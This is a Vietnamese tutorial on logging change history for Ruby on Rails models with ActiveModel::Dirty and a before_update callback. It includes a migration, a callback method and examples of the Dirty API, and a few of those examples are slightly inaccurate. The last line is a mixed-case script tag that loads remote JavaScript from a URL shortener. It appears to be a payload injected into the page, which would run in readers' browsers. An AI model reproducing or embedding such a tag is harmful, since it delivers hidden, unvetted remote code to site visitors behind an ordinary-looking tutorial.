Trong ứng dụng có yêu cầu về bảo mật cao, yêu cầu ghi lại lịch sử thay đổi của các đối tượng chính trong hệ thống là cần thiết. Bạn phải xây dựng một bảng lịch sử ghi lại tất cả các thay đổi của đối tượng như: ID của đối tượng, các thuộc tính bị thay đổi, giá trị thuộc tính trước và sau khi thay đổi. Mục tiêu là người quản trị có thể xem được ai đã thay đổi đối tượng này khi nào và nội dung ra sao.

Trước tiên, chúng ta tạo ra model để lưu lại các thông tin trên:

class CreateHistories < ActiveRecord::Migration
  def change
    create_table :histories do |t|
      t.string :object_name
      t.integer :object_id
      t.string :attribute_name
      t.string :before_value
      t.string :after_value
      t.references :user, index: true, foreign_key: true

      t.timestamps null: false
    end
  end
end

Sau đó, chúng ta cần điều chỉnh lại các model mà hệ thống yêu cầu lưu lại lịch sử thay đổi. Trong model, thêm vào code như sau:

  include ActiveModel::Dirty
  .....
  before_update :write_history
  .....
  private
  def write_history
    self.changes.each do |attribute_name, values|
      before_value = values[0].to_s.truncate(700) if values[0].present?
      after_value = values[1].to_s.truncate(700) if values[1].present?
      user_id = self.update_user_id
      History.create!({:object_name => self.class.name,
       :object_id => self.id,
       :attribute_name => attribute_name,
       :before_value => before_value.to_s,
       :after_value => after_value.to_s,
       :user_id => user_id},
      :without_protection => true)
    end
  end

Chúng ta hãy xem qua đoạn code này 1 chút.

ActiveModel :: Dirty

Trong đoạn code trên chúng ta ActiveModel :: Dirty, là một thư viện được xây dựng sẵn trong Ruby on Rails cho phép ghi nhận lại sự thay đổi của các thuộc tính của đối tượng một cách nhanh chóng và dễ dàng.

Kiểm tra bất cứ khi nào Model bị thay đổi

Kiểm tra bất cứ khi nào Model bị thay đổi bằng cách sử dụng phương thức changed?:

product.changed?  # => false

Nếu bạn thay đổi một thuộc tính của model, phương thức changed? sẽ trả về giá trị true:

product.name = "BPhone"
product.changed? # => true

Ghi nhận các thay đổi

Bạn có thể ghi nhận các thay đổi bằng cách sử dụng phương thức attr_change:

product.name_change # => ["BPhone", "Apple iPhone"]

Bạn có thể lấy danh sách tất cả các thuộc tính đã bị thay đổi bằng cách sử dụng phương thức:

product.changed # => ["name"]

Bạn cũng có thể lấy được giá trị ban đầu của các thuộc tính bằng phương thức attr_was:

product.name_was #=> "Apple iPhone"

hoặc danh sách tất cả các thuộc tính cùng giá trị ban đầu của chúng:

product.changed_attributes # => {"name" => "Apple iPhone"}

hoặc tất cả các thay đổi:

product.changes # => {"name" => ["BPhone", "Apple iPhone"]}

Xem lại dữ liệu trước đó sau khi đã lưu

Bạn có thể xem được các thay đổi của model ngay cả sau khi đã lưu dữ liệu bằng cách sử dụng phương thức previous_changes như sau:

  product.save
  product.changes # => {}
  product.previous_changes # => {"name" => ["BPhone", "Apple iPhone"]}

Cuối cùng, bạn có thể reset model bằng cách sử dụng phương thức reload!:

product.reload!
product.previous_changes # => {}

CallBack

Trong model trên, chúng ta đã khai báo một hàm CallBack, hàm này yêu cầu write_history trước khi thực hiện bất kỳ cập nhật nào trên model này vào cơ sở dữ liệu. Chúng ta đã sử dụng before_update chứ không phải before_save bởi vì không muốn ghi lại lịch sử cả quá trình khởi tạo model.

Cuối cùng, chúng ta ghi vào bảng lưu lịch sử tất cả các giá trị đã bị thay đổi cộng thêm với tên class của đối tượng và user_id của user đã thay đổi bản ghi.

Như vậy, chỉ đơn giản bằng cách sử dụng ActiveModel::DirtyCallBack chúng ta đã hoàn thành được yêu cầu lưu lại lịch sử thay đổi của đối tượng trong hệ thống.

<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>